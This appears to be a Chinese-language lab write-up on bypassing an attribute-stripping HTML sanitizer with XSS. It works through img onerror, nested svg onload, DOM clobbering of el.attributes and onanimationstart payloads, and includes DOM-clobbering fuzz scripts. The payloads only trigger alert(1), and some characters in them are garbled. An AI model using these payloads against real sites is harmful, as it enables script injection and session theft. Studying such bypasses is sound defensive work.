目录
首先
<script>
//urlencode解码
//location接口的hash属性是一个字符串,包含一个“#”后跟位置URL的片段标识符。如果URL没有片段标识符,则该属性的值为空字符串""
//substr值的substr()方法返回该字符串的一部分,从指定的索引开始截取
//substr(1)如果不写,就会把#截进去
const data = decodeURIComponent(location.hash.substr(1)) //使用data接收#后面的值
const root = document.createElement('div') //创建一个div元素
root.innerHTML = data //将data的值赋给div
document.body.appendChild(root); //把root的内容插入到body里面去
for (let el of root.querySelectorAll('*')){ //循环遍历div元素中的子元素
for (let attr of el.attributes ){ //获取div子标签中的属性
el.removeAttribute(attr.name); //对子标签中的属性进行移除
}
}
//访问时127.0.0.1/a.html#<img src=1 onerror=alert(1)>
//结果只删除了src=1,剩下的<img onerror=alert(1)>依旧存在于div中,是因为索引的问题,
//例如[1,2,3,4,5]把1删除后,2就到了1的位置,但是代码已经继续往下执行,就把到2位置的3给删除了
//以此类推最后剩下[2,4]
//HTML 5中指定不执行由innerHTML插入的script标签,所以不能传递script标签
//由此可以这样绕过:<img a=1 src=1 b=1 onerror=alert(1)>
</script>
然后
因为这个代码不能完全删除传入的参数,所以下面这段代码对其进行了升级:
<script>
//<style>@keyframes x()</style></form style="animation-name: x;" onanimationstart="alert(1)">
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
for (let el of root.querySelectorAll('*')) {
let attrs = []
for(let attr of el.attributes) {
attrs.push(attr.name);
}
// 在这里删除我们的属性,onerror href,程序没有走进去就触发
// dom破坏,给它品控生成一个无关的节点,不会删除我们的payload
for(let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
第一种
1.一个svg触发会失败 二个svg会成功 2.在属性都被删除的情况下,为什么svg依然可以触发成功 <svg><svg/οnlοad=alert(1)>会在root.innerHTML = data;被触发。 它属于自闭合标签,onload在DOM解析时立即执行,早于属性移除 <svg/οnlοad=alert(1)>是非自闭合标签,onload事件在DOM插入后才触发,但此时属性已被移除
第二种(DOM)
HTMLCollection
之前XSS GAME靶场的Ok, Boomer这道题是一层的形式,但是这里要用两层。我们可以这样试试:
<div id="x">
<a id="y" href='hhhhhhhhh'></a>
</div>
<script>
alert(x.y);
</script>
这⾥⽆论第⼀个标签怎么组合,得到的结果都只是undefined 。但是我们可以通过另⼀种⽅法加⼊引⼊ name 属性就会有其他的效果。
HTML Relationships
再者,我们也可以通过利⽤HTML标签之间存在的关系来构建层级关系。
<script>
var log=[];
var html =["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++){
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>'; document.body.appendChild(div);
if(window.element1 && element1.element2){
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));
// 以上代码测试了现在HTML5 基本上所有的标签,使⽤两层的层级关系进⾏fuzz ,注意这⾥只使⽤了
id ,并没有使⽤name,遇上⽂的HTMLCollection 并不是⼀种⽅法。
</script>
// 试试
<form id="x">
<output id="y">hhhhhhhhhhh</output>
</form>
<script>
alert(x.y.value);
</script>
// 三级的层级关系我们就需要⽤到以上两种技巧来构建
<form id="x" name="y">
<output id="z">hhhhhhhhhhh</output>
</form>
<form id="x"></form>
<script>
alert(x.y.z.value)
</script>
Custom
以上我们都是通过id 或者 name 来利⽤,那我们能不能通过⾃定义属性来构造呢?
<form id=x y=123></form>
<script>
alert(x.y)//undefine
</script>
很明显,这意味着任何未定义的属性都不会具有DOM 属性,所以就返回了 undefined。我们可以尝试⼀下fuzz 所有标签的有没有字符串类型的属性可供我们使⽤:
<script>
var html = [...]//HTML元素数组
var props=[];
for(i=0;i<html.length;i++){
obj =document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
props.push(html[i]+':'+prop);
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
</script>
==============================================================
解
//试试
<form action=javascript:alert(1)>
<input id="attributes">
<input id="attributes">
<button type="submit">Submit</button>
</form>
//要用户交互
el.attributes 本来应该是元素的属性列表,但由于 <input id="attributes"> 存在,el.attributes 被覆盖成这个 input 元素本身!
所以 for(let attr of el.attributes) 会尝试遍历 input 元素,所以不能只写一个input,只写一个 input 就不是可迭代对象,会导致内部报错。
onaniamtionstart是JavaScript中用于监听CSS动画开始的事件处理器
//用户不交互
<style>@keyframes x()</style></form style="animation-name: x;" onanimationstart="alert(1)">